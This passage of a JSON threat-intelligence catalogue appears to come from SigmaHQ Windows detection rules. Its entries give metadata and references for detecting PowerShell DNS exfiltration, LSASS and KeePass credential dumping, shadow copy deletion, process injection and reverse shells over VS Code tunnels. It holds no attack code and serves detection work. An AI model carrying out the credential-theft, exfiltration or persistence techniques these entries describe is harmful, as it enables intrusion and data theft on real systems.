        "creation_date": "2021/12/30",
        "falsepositive": [
          "Legitimate administrative script"
        ],
        "filename": "posh_ps_cor_profiler.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1574.012/T1574.012.md#atomic-test-3---registry-free-process-scope-cor_profiler",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_cor_profiler.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1574.012"
        ]
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        {
          "dest-uuid": "ffeb0780-356e-4261-b036-cfb6bd234335",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "23590215-4702-4a70-8805-8dc9e58314a2",
      "value": "Registry-Free Process Scope COR_PROFILER"
    },
    {
      "description": "DNSExfiltrator allows for transferring (exfiltrate) a file over a DNS request covert channel",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Legitimate script"
        ],
        "filename": "posh_ps_invoke_dnsexfiltration.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1048/T1048.md#atomic-test-3---dnsexfiltration-doh",
          "https://github.com/Arno0x/DNSExfiltrator",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_dnsexfiltration.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1048"
        ]
      },
      "related": [
        {
          "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d59d7842-9a21-4bc6-ba98-64bfe0091355",
      "value": "Powershell DNSExfiltration"
    },
    {
      "description": "Detects Obfuscated Powershell via use MSHTA in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/08",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_use_mhsta.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_use_mhsta.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e55a5195-4724-480e-a77e-3ebe64bd3759",
      "value": "Invoke-Obfuscation Via Use MSHTA - PowerShell"
    },
    {
      "description": "Detects usage of certain functions and keywords that are used to manipulate security descriptors in order to potentially set a backdoor. As seen used in the DAMP project.",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/01/05",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_ace_tampering.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/HarmJ0y/DAMP",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_ace_tampering.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.defense_evasion",
          "attack.privilege_escalation"
        ]
      },
      "uuid": "2f77047c-e6e9-4c11-b088-a3de399524cd",
      "value": "Potential Persistence Via Security Descriptors - ScriptBlock"
    },
    {
      "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription.",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/08/19",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_wmi_persistence.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/EmpireProject/Empire/blob/08cbd274bef78243d7a8ed6443b8364acd1fc48b/data/module_source/persistence/Persistence.psm1#L545",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.003/T1546.003.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_wmi_persistence.yml"
        ],
        "tags": [
          "attack.privilege_escalation",
          "attack.t1546.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "910906dd-8c0a-475a-9cc1-5e029e2fad58",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "9e07f6e7-83aa-45c6-998e-0af26efd0a85",
      "value": "Powershell WMI Persistence"
    },
    {
      "description": "Adversaries may abuse Microsoft Office add-ins to obtain persistence on a compromised system.\nOffice add-ins can be used to add functionality to Office programs\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_office_comobject_registerxll.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137.006/T1137.006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_office_comobject_registerxll.yml"
        ],
        "tags": [
          "attack.persistence",
          "attack.t1137.006"
        ]
      },
      "related": [
        {
          "dest-uuid": "34f1d81d-fe88-4f97-bd3b-a3164536255d",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "36fbec91-fa1b-4d5d-8df1-8d8edcb632ad",
      "value": "Code Executed Via Office Add-in XLL File"
    },
    {
      "description": "Detects technique used by MAZE ransomware to enumerate directories using Powershell",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/03/17",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_directory_enum.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md",
          "https://www.mandiant.com/resources/tactics-techniques-procedures-associated-with-maze-ransomware-incidents",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_directory_enum.yml"
        ],
        "tags": [
          "attack.discovery",
          "attack.t1083"
        ]
      },
      "related": [
        {
          "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "162e69a7-7981-4344-84a9-0f1c9a217a52",
      "value": "Powershell Directory Enumeration"
    },
    {
      "description": "Adversaries may enumerate browser bookmarks to learn more about compromised hosts.\nBrowser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about\ninternal network resources such as servers, tools/dashboards, or other related infrastructure.\n",
      "meta": {
        "author": "frack113",
        "creation_date": "2021/12/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_get_childitem_bookmarks.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1217/T1217.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_get_childitem_bookmarks.yml"
        ],
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          "attack.discovery",
          "attack.t1217"
        ]
      },
      "related": [
        {
          "dest-uuid": "5e4a2073-9643-44cb-a0b5-e7f4048446c7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "e0565f5d-d420-4e02-8a68-ac00d864f9cf",
      "value": "Automated Collection Bookmarks Using Get-ChildItem PowerShell"
    },
    {
      "description": "Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil",
      "meta": {
        "author": "Tim Rauch",
        "creation_date": "2022/09/20",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_susp_win32_shadowcopy_deletion.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell",
          "https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_win32_shadowcopy_deletion.yml"
        ],
        "tags": [
          "attack.impact",
          "attack.t1490"
        ]
      },
      "related": [
        {
          "dest-uuid": "f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c1337eb8-921a-4b59-855b-4ba188ddcc42",
      "value": "Deletion of Volume Shadow Copies via WMI with PowerShell - PS Script"
    },
    {
      "description": "Detects Obfuscated use of Clip.exe to execute PowerShell",
      "meta": {
        "author": "Jonathan Cheong, oscd.community",
        "creation_date": "2020/10/13",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_clip.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_clip.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "73e67340-0d25-11eb-adc1-0242ac120002",
      "value": "Invoke-Obfuscation CLIP+ Launcher - PowerShell"
    },
    {
      "description": "Detects a Get-Process command on lsass process, which is in almost all cases a sign of malicious activity",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2021/04/23",
        "falsepositive": [
          "Legitimate certificate exports invoked by administrators or users (depends on processes in the environment - filter if unusable)"
        ],
        "filename": "posh_ps_susp_getprocess_lsass.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://twitter.com/PythonResponder/status/1385064506049630211",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_getprocess_lsass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "84c174ab-d3ef-481f-9c86-a50d0b8e3edb",
      "value": "PowerShell Get-Process LSASS in ScriptBlock"
    },
    {
      "description": "Open a handle on the drive volume via the \\\\.\\ DOS device path specifier and perform direct access read of the first few bytes of the volume.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/09",
        "falsepositive": [
          "Legitimate PowerShell scripts"
        ],
        "filename": "posh_ps_susp_iofilestream.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1006/T1006.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_susp_iofilestream.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1070.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "70ad982f-67c8-40e0-a955-b920c2fa05cb",
      "value": "Suspicious IO.FileStream"
    },
    {
      "description": "Detects Obfuscated Powershell via Stdin in Scripts",
      "meta": {
        "author": "Nikita Nazarov, oscd.community",
        "creation_date": "2020/10/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_invoke_obfuscation_via_stdin.yml",
        "level": "high",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/SigmaHQ/sigma/issues/1009",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_invoke_obfuscation_via_stdin.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1027",
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "86b896ba-ffa1-4fea-83e3-ee28a4c915c7",
      "value": "Invoke-Obfuscation Via Stdin - Powershell"
    },
    {
      "description": "Detects usage of the WMI class \"Win32_NTEventlogFile\" in a potentially suspicious way (delete, backup, change permissions, etc.) from a PowerShell script",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/13",
        "falsepositive": [
          "Legitimate administration and backup scripts"
        ],
        "filename": "posh_ps_win32_nteventlogfile_usage.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://learn.microsoft.com/en-us/previous-versions/windows/desktop/legacy/aa394225(v=vs.85)",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_win32_nteventlogfile_usage.yml"
        ],
        "tags": [
          "attack.defense_evasion"
        ]
      },
      "uuid": "e2812b49-bae0-4b21-b366-7c142eafcde2",
      "value": "Potentially Suspicious Call To Win32_NTEventlogFile Class - PSScript"
    },
    {
      "description": "Detects PowerShell scripts leveraging the \"Invoke-WebRequest\" cmdlet to send data via either \"PUT\" or \"POST\" method.",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/01/07",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "posh_ps_script_with_upload_capabilities.yml",
        "level": "low",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html",
          "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-webrequest?view=powershell-7.2",
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1020/T1020.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_script_with_upload_capabilities.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1020"
        ]
      },
      "related": [
        {
          "dest-uuid": "774a3188-6ba9-4dc4-879d-d54ee48a5ce9",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "d2e3f2f6-7e09-4bf2-bc5d-90186809e7fb",
      "value": "PowerShell Script With File Upload Capabilities"
    },
    {
      "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.",
      "meta": {
        "author": "oscd.community, @redcanary, Zach Stanford @svch0st",
        "creation_date": "2020/10/10",
        "falsepositive": [
          "Help Desk or IT may need to manually add a corporate Root CA on occasion. Need to test if GPO push doesn't trigger FP"
        ],
        "filename": "posh_ps_root_certificate_installed.yml",
        "level": "medium",
        "logsource.category": "ps_script",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/powershell/powershell_script/posh_ps_root_certificate_installed.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1553.004"
        ]
      },
      "related": [
        {
          "dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "42821614-9264-4761-acfc-5772c3286f76",
      "value": "Root Certificate Installed - PowerShell"
    },
    {
      "description": "Detects raw disk access using uncommon tools or tools that are located in suspicious locations (heavy filtering is required), which could indicate possible defense evasion attempts",
      "meta": {
        "author": "Teymur Kheirkhabarov, oscd.community",
        "creation_date": "2019/10/22",
        "falsepositive": [
          "Likely"
        ],
        "filename": "raw_access_thread_susp_disk_access_using_uncommon_tools.yml",
        "level": "low",
        "logsource.category": "raw_access_thread",
        "logsource.product": "windows",
        "refs": [
          "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/raw_access_thread/raw_access_thread_susp_disk_access_using_uncommon_tools.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1006"
        ]
      },
      "related": [
        {
          "dest-uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "db809f10-56ce-4420-8c86-d6a7d793c79c",
      "value": "Potential Defense Evasion Via Raw Disk Access By Uncommon Tools"
    },
    {
      "description": "Detects password dumper activity by monitoring remote thread creation EventID 8 in combination with the lsass.exe process as TargetImage.\nThe process in field Process is the malicious program. A single execution can lead to hundreds of events.\n",
      "meta": {
        "author": "Thomas Patzke",
        "creation_date": "2017/02/19",
        "falsepositive": [
          "Antivirus products"
        ],
        "filename": "create_remote_thread_win_password_dumper_lsass.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://jpcertcc.github.io/ToolAnalysisResultSheet/details/WCE.htm",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_password_dumper_lsass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.s0005",
          "attack.t1003.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "f239b326-2f41-4d6b-9dfa-c846a60ef505",
      "value": "Password Dumper Remote Thread in LSASS"
    },
    {
      "description": "Detects uncommon target processes for remote thread creation",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2022/03/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_uncommon_target_image.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_uncommon_target_image.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.privilege_escalation",
          "attack.t1055.003"
        ]
      },
      "related": [
        {
          "dest-uuid": "41d9846c-f6af-4302-a654-24bba2729bc6",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "a1a144b7-5c9b-4853-a559-2172be8d4a03",
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    },
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      "description": "Detects remote thread creation in the \"mstsc.exe\" process by a process located in a potentially suspicious location.\nThis technique is often used by attackers in order to hook some APIs used by DLLs loaded by \"mstsc.exe\" during RDP authentications in order to steal credentials.\n",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/07/28",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_mstsc_susp_location.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/S12cybersecurity/RDPCredentialStealer/blob/1b8947cdd065a06c1b62e80967d3c7af895fcfed/APIHookInjectorBin/APIHookInjectorBin/Inject.h#L25",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_mstsc_susp_location.yml"
        ],
        "tags": [
          "attack.credential_access"
        ]
      },
      "uuid": "c0aac16a-b1e7-4330-bab0-3c27bb4987c7",
      "value": "Remote Thread Creation In Mstsc.Exe From Suspicious Location"
    },
    {
      "description": "Detects the creation of a remote thread from a Powershell process in a potentially suspicious target process",
      "meta": {
        "author": "Florian Roth (Nextron Systems)",
        "creation_date": "2018/06/25",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_powershell_susp_targets.yml",
        "level": "medium",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://www.fireeye.com/blog/threat-research/2018/06/bring-your-own-land-novel-red-teaming-technique.html",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_powershell_susp_targets.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.execution",
          "attack.t1218.011",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        },
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "99b97608-3e21-4bfe-8217-2a127c396a0e",
      "value": "Remote Thread Creation Via PowerShell In Potentially Suspicious Target"
    },
    {
      "description": "Detects remote thread creation in \"KeePass.exe\" which could indicates potential password dumping activity",
      "meta": {
        "author": "Timon Hackenjos",
        "creation_date": "2022/04/22",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_keepass.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://github.com/denandz/KeeFarce",
          "https://github.com/GhostPack/KeeThief",
          "https://www.cisa.gov/uscert/ncas/alerts/aa20-259a",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_keepass.yml"
        ],
        "tags": [
          "attack.credential_access",
          "attack.t1555.005"
        ]
      },
      "related": [
        {
          "dest-uuid": "315f51f0-6b03-4c1e-bfb2-84740afb8e21",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "77564cc2-7382-438b-a7f6-395c2ae53b9a",
      "value": "Remote Thread Created In KeePass.EXE"
    },
    {
      "description": "Detects a potential remote threat creation with certain characteristics which are typical for Cobalt Strike beacons",
      "meta": {
        "author": "Olaf Hartong, Florian Roth (Nextron Systems), Aleksey Potapov, oscd.community",
        "creation_date": "2018/11/30",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_hktl_cobaltstrike.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://blog.cobaltstrike.com/2018/04/09/cobalt-strike-3-11-the-snake-that-eats-its-tail/",
          "https://medium.com/@olafhartong/cobalt-strike-remote-threads-detection-206372d11d0f",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_hktl_cobaltstrike.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1055.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "6309645e-122d-4c5b-bb2b-22e4f9c2fa42",
      "value": "HackTool - Potential CobaltStrike Process Injection"
    },
    {
      "description": "Detects a remote thread creation of Ttdinject.exe used as proxy",
      "meta": {
        "author": "frack113",
        "creation_date": "2022/05/16",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_ttdinjec.yml",
        "level": "high",
        "logsource.category": "create_remote_thread",
        "logsource.product": "windows",
        "refs": [
          "https://lolbas-project.github.io/lolbas/Binaries/Ttdinject/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml"
        ],
        "tags": [
          "attack.defense_evasion",
          "attack.t1127"
        ]
      },
      "related": [
        {
          "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "c15e99a3-c474-48ab-b9a7-84549a7a9d16",
      "value": "Remote Thread Creation Ttdinject.exe Proxy"
    },
    {
      "description": "Detects potential use of CreateRemoteThread api and LoadLibrary function to inject DLL into a process",
      "meta": {
        "author": "Roberto Rodriguez @Cyb3rWard0g",
        "creation_date": "2019/08/11",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "create_remote_thread_win_loadlibrary.yml",
        "level": "high",
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        "creation_date": "2017/03/13",
        "falsepositive": [
          "Administrative scripts",
          "Microsoft IP range",
          "Additional filters are required. Adjust to your environment (e.g. extend filters with company's ip range')"
        ],
        "filename": "net_connection_win_powershell_network_connection.yml",
        "level": "low",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://www.youtube.com/watch?v=DLtJTxMWZ2o",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_powershell_network_connection.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1059.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "1f21ec3f-810d-4b0e-8045-322202e22b4b",
      "value": "PowerShell Initiated Network Connection"
    },
    {
      "description": "Detects network connections from \"dfsvc.exe\" used to handled ClickOnce applications to uncommon ports",
      "meta": {
        "author": "Nasreddine Bencherchali (Nextron Systems)",
        "creation_date": "2023/06/12",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_dfsvc_uncommon_ports.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_dfsvc_uncommon_ports.yml"
        ],
        "tags": [
          "attack.execution",
          "attack.t1203"
        ]
      },
      "related": [
        {
          "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4c5fba4a-9ef6-4f16-823d-606246054741",
      "value": "Dfsvc.EXE Network Connection To Uncommon Ports"
    },
    {
      "description": "Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.\n",
      "meta": {
        "author": "Kamran Saifullah",
        "creation_date": "2023/11/20",
        "falsepositive": [
          "Legitimate use of Visual Studio Code tunnel will also trigger this."
        ],
        "filename": "net_connection_win_vscode_tunnel_connection.yml",
        "level": "medium",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://cydefops.com/vscode-data-exfiltration",
          "https://badoption.eu/blog/2023/01/31/code_c2.html",
          "https://ipfyx.fr/post/visual-studio-code-tunnel/",
          "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_vscode_tunnel_connection.yml"
        ],
        "tags": [
          "attack.exfiltration",
          "attack.t1567.001"
        ]
      },
      "related": [
        {
          "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7",
          "tags": [
            "estimative-language:likelihood-probability=\"almost-certain\""
          ],
          "type": "related-to"
        }
      ],
      "uuid": "4b657234-038e-4ad5-997c-4be42340bce4",
      "value": "Network Connection Initiated To Visual Studio Code Tunnels Domain"
    },
    {
      "description": "Detects a network connection initiated by the certutil.exe tool.\nAttackers can abuse the utility in order to download malware or additional payloads.\n",
      "meta": {
        "author": "frack113, Florian Roth (Nextron Systems)",
        "creation_date": "2022/09/02",
        "falsepositive": [
          "Unknown"
        ],
        "filename": "net_connection_win_certutil_initiated_connection.yml",
        "level": "high",
        "logsource.category": "network_connection",
        "logsource.product": "windows",
        "refs": [
          "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil",
